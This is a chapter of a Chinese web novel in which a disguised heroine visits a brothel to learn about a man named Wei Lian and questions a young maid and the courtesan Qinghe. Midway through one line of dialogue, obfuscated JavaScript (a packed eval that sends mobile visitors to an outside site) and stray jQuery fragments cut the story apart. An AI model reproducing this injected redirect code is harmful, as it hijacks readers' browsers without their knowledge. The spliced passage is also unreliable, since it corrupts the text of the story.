16. 会仙楼

作品:《夫人今天答应圆房了吗

    如今华灯未上,只是日头偏西了几分,会仙楼前,却已是车水马龙,行人如织。


    迎来送往,一片欢笑晏晏,往来无寒衣,谈笑俱华服。


    鸨母翠怡年约四十,纵横欢场三十年,更是练就了一双火眼金睛的本事,只打眼那么一扫,能压出多少钱来,心里的那杆秤便立刻有了计较。


    此时她站在二楼的凭栏前,只漫不经心地将楼下的人群一扫,目光顿时一凝,连手中的团扇都停止了扇动。


    只见那人群中走出一个白衣公子来,所到之处,男女老少,都不由驻足回看,竟将她会仙楼一向热闹拥挤的门前,变成了他一人的会场。


    翠怡立刻摇着扇下楼,只见那公子,年约弱冠,面如冠玉,本生的俏丽,眉宇间却偏有一股英气,令人莫敢逼视。


    柳镇何时来了这么一个人物,她翠十娘竟然没收到风声!


    “这位郎君瞧着面生呐。”她娇笑着上前。


    却见对方只摇着胸前的折扇,对她微微一笑,便径直向楼里走去,似乎根本没把她放在眼里一般。


    翠怡脸色稍变,却又立刻捧出笑脸,“郎君怎么称呼呢?是来喝酒,还是听曲儿呢?”


    对方扇子一摆,驻足厅内,先将会仙楼里上上下下打量一通,“在下姓方。这喝酒怎么说,听曲儿又怎么说?”


    翠怡勾唇一笑,这是个新手,“这喝酒只需两百贯,若要听曲儿少说也要二两银子!”


    此言一出,立在那白衣公子身旁的赭衣郎君眼睛都要掉出来了。


    那白衣公子却面色不变:“那你们这儿最贵的曲儿多少钱呢?”


    翠怡笑着走到他前面,“我看郎君年纪尚轻,还是寻个有资历的琴师来,好与郎君操弦凭弄,如何?”


    “年长些的确实知情识趣,可那初出茅庐的,又自有一股青涩自然。”


    翠怡眼珠一转,“呦,想不到郎君还是个中高手,那便请两位小青梅,来与二位作伴如何,但这价格可就——”


    哪知对方根本不接她的捧哏,“妈妈会错意了,我的意思是请姐姐和妹妹同来,与我兄弟一乐。”


    说着将一锭银子放到她手中。


    兄弟?


    翠怡拿眼觑了赭衣郎君一眼,见过兄弟两个一起逛窑子的,还头回见带着老婆上青楼的。


    这外地的王孙子弟还真是玩的花啊。


    但这外地的王孙也真有钱啊!


    翠怡立刻笑得如开花的牡丹,“好嘞,我啊一定给您挑最称心的来!小玉,快来带客人上楼!”


    ***


    门刚一关上,苗苗便□□了肩膀。


    “都说这地方是销金窟,我之前还不信——怎么听个曲就要这许多花费呢?”


    站在她前方的白衣郎君,也不是别人,正是纾延。


    此时她一手掐断香炉中的熏香,又走到窗前推窗看向窗外,窗外是会仙楼的后院,院中能看见几个彪形大汉来回搬运着什么。


    这是看她们是生客,怕她们耍什么花招,才安排了这个房间给她们!


    不然凭那一锭银子,也该给她们安排个临湖的房间才是。


    看不出来,这个会仙楼的翠十娘,倒是个十分谨慎的人物。


    听到苗苗的话,纾延笑道:“她要卖个黄花闺女给你我,自然要价不菲。”


    “什么?!”


    “一会儿她们要是给你奉酒,千万别喝。一切有我。”


    苗苗虽不明白,却还是点了点头。


    此地特殊,纾延也不便多言。


    青楼里的那些伎俩她在建安便见识过了,没想到两地相隔如此之远,行事却大同小异。


    来之前她们三人前去岳府探病,岳凝却破天荒地避而不见,思及此,纾延不由微微凝眉。


    怎么病得这么突然,何况岳凝每三日才回府一次,昨晚并非她回府的日子——偏偏又是在和魏廉当街发生争执以后。


    不及她再想下去,开门声打断了她的思绪。


    一个二十出头的粉衣女子推门而入,面上是恰到好处的笑容,足以让人如沐春风,却又不会觉得谄媚。


    “让两位郎君久等了。”


    她款款一福,一旁一个十四左右的姑娘端着托盘上前,为苗苗斟酒。


    苗苗略带惊恐地看向纾延,纾延微微一笑,将折扇在手中一转,走到案前,顺手接过那杯递给苗苗的酒。


    粉衣女子立刻笑道:“看这不懂事的丫头,这第一杯酒合盖先敬兄长才是,该罚该罚。”


    纾延晃了晃杯中酒液,“怎么罚呢?”


    对方娇笑一声,顺势挨在她身上握住酒杯,“奴家自罚三杯如何?”


    眼见对方作势要饮,纾延挡住她的动作,“那倒不必,不如便用娘子的名字来换吧。”


    “郎君倒是个怜香惜玉的良人,”她眼中快速闪过惊讶,但旋即又被笑容掩盖,“奴家名唤春桃,祖籍襄州,被胡人强徙至此,可怜双亲——”


    说到这里,她用手绢拭了下眼睛,见纾延并不搭茬,便换上笑容接着道:“这是奴家的妹子,今儿第一次见外人,可见是与郎君有缘,不知可否有幸,请郎君赐名?”


    女儿待字闺中,字而许嫁。


    那小姑娘取出托盘中的卷轴,卷轴展开,又为她磨墨递笔。


    她若写了这字,下一步便要她用印留名了。


    “娘子这话今儿是对第几人说了?”


    “郎君这是什么话,”春桃嗔怪她一眼,一双手按在她肩上,指尖状若无意般划过她领口。


    纾延对她侧头一笑,抓住她的手,“我听说你们这里有位魏大官人,红粉从中,无往不利,我比他如何呢?”


    春桃的笑容有一瞬间的裂缝,再看向她的眼神便带了三分试探和警惕,“郎君此言何意?”


    “看来春桃还是偏爱那魏官人多些了,”纾延似笑非笑道,“不知那魏官人是有何过人之处,竟让小娘子如此念念不忘?”


    “郎君说笑了,”春桃笑得有些僵硬,“奴微如尘埃,岂敢肖想魏先生?”


    说着她捏着手绢起身,笑道:“呀,这酒都凉了,奴家这便去与郎君再换新的来。”


    接着一个眼色,那小姑娘立刻乖觉地端起托盘要同她一起退出,纾延折扇一搭,扣在那小姑娘腕间,“换酒一个人便够了,娘子要去,自去便是,便留妹妹再与我兄弟说说话。”


    她说得不容致辞,春桃只得笑着退出。


    房门一掩上,纾延便看向那个鹌鹑般缩着头的丫头。


    “我姓方,你叫我方大哥便是,这是舍弟——”她一指苗苗,“妹妹怎么称呼呢?”


    “请、请郎君赐名。”


    她哆哆嗦嗦地不肯抬头,纾延与苗苗对视一眼,苗苗握住她双手,柔声道:“你别怕,我们不会欺负你的。只是想向你打听一个人。”


    对方似乎被她的声音所感,不由犹豫地抬起头,她试着抽回自己的手,试了一下竟然真的抽动了。


    苗苗只是对她温和的笑。


    “魏先生是好人。”她嗫嚅道。


    “我们家中也有个妹妹,”纾延道,“年纪便和你一般大。所以见着你,便觉得格外亲切。”


    苗苗点头。


    纾延道:“舍妹一心仰慕魏先生,我们做兄长的自然想要成全。听说魏先生经常出入于此,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933676|192742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所以特来探问。”


    苗苗震惊,但还是非常肯定地对小姑娘点头。


    十四岁的年纪,虽然长于烟花之地,却尚未真的步入欢场,她听完她们的话,似乎十分理解,原本满是戒备的眼底竟生出三分歆羡来:“能有二位郎君这样的兄长,你们的妹妹一定很幸福。”


    没料到她竟说出这样一句话来,纾延的心底不可抑制地生出一股愧疚和怜惜。


    “楼里的姐姐们都叫我小芒——魏先生不常来的,他只有攒够了钱才来。”


    这话说的莫名其妙,哪个嫖客不是攒够了钱才来的呢。


    似乎是见她们还是不信,小芒又着急地补充道:“魏先生是好人!真的!”


    话音未落,屋门便被再次推开。


    小芒失声道:“清荷姊姊。”


    清荷——会仙楼的头牌!


    纾延起身。


    来人一身白衣绿裙,清冷出尘。她脸上并没有青楼女子常有的笑容,反如一个意外入世的化外人。


    “方某何德何能,竟能得见清荷姑娘。”


    多少王孙子弟抛钱洒币都见不到的人,如今只因她提了一句魏廉,竟亲自前来!


    她对她们矮身一福,衣袖一拂,小芒便被带了出去。


    “二位郎君远来,有失远迎,是清荷的不是。”


    话说得软,语气却是不卑不亢。


    纾延听出她话里的机锋,“某从江左,一路西行而来,听闻清荷娘子,不慕权贵,不图荣华,只与一魏姓白丁终日厮守——倒不知是何等人物,竟能博得姑娘青睐,倒囊相济?”


    “郎君言重了,魏先生光风霁月,清荷哪有福分,能赠金于彼?倒是郎君——听闻江左多才士,郎君器宇不凡,如此远来必大有宏图吧。”


    “微末小卒,不足道哉——早便听闻,荆襄之地,民风淳朴,今日方得一见。江左金陵的秦楼楚馆非掷千金,难见一面。倒是这偏僻地方——不需黄金白银,只需——”


    她眸光一转,没有漏过清荷表情的任何一丝变化。


    “实不相瞒,”她为清荷斟了一杯酒,“先祖祖上虽也曾做官,但到我兄弟这代,却已是人微言轻,只能靠行商谋生,养家糊口而已——这一路听闻柳镇有个魏先生,未得官身,却得勾栏青睐,一身衣食全靠娘子们奉养——”


    她又给自己斟了一杯,举杯道:“实在让我恨欲不能拜其为师,习得其道!”


    清荷的眼底是几欲压抑不住的怒火,目光泠泠,仿若苍山檐后的碧竹,“郎君看着芝兰玉树,没想到也是鄙俗浮华之徒!”


    纾延毫不生气,甚至好脾气道:“娘子如此动怒,莫非是在下无意中冒犯了娘子的心上人?”


    “郎君何必以小人之心度君子之腹!”清荷冷冷道,“魏先生如冰壶秋月,岂是清荷敢高攀的!倒是郎君这等居心叵测之徒,清荷也避之唯恐不及!”


    说罢,她作势要走,纾延并不阻拦,只是对着她的背影道:“娘子便这般愤而离去,只会更让世人坐实谣言。”


    她蓦地驻足。


    半晌,清荷回头看向她,面上已毫无愠色,只剩下冷冷地审视:“郎君此来,究竟所求为何?”


    “我不是已经说的很清楚了?”纾延对她晃晃酒杯,而后在苗苗诧异的目光中一饮而尽,“我真的很好奇,这位魏先生究竟何德何能,能得如娘子这般人物的袒护?”


    清荷目不转睛地看着她,窗外,夜色已经渐渐暗了下来,门外远远传来嘈杂的人声。


    “郎君错了。”


    她只是远远地立在那里。


    “非我姊妹在供养魏先生,而是魏先生在搭救我等。”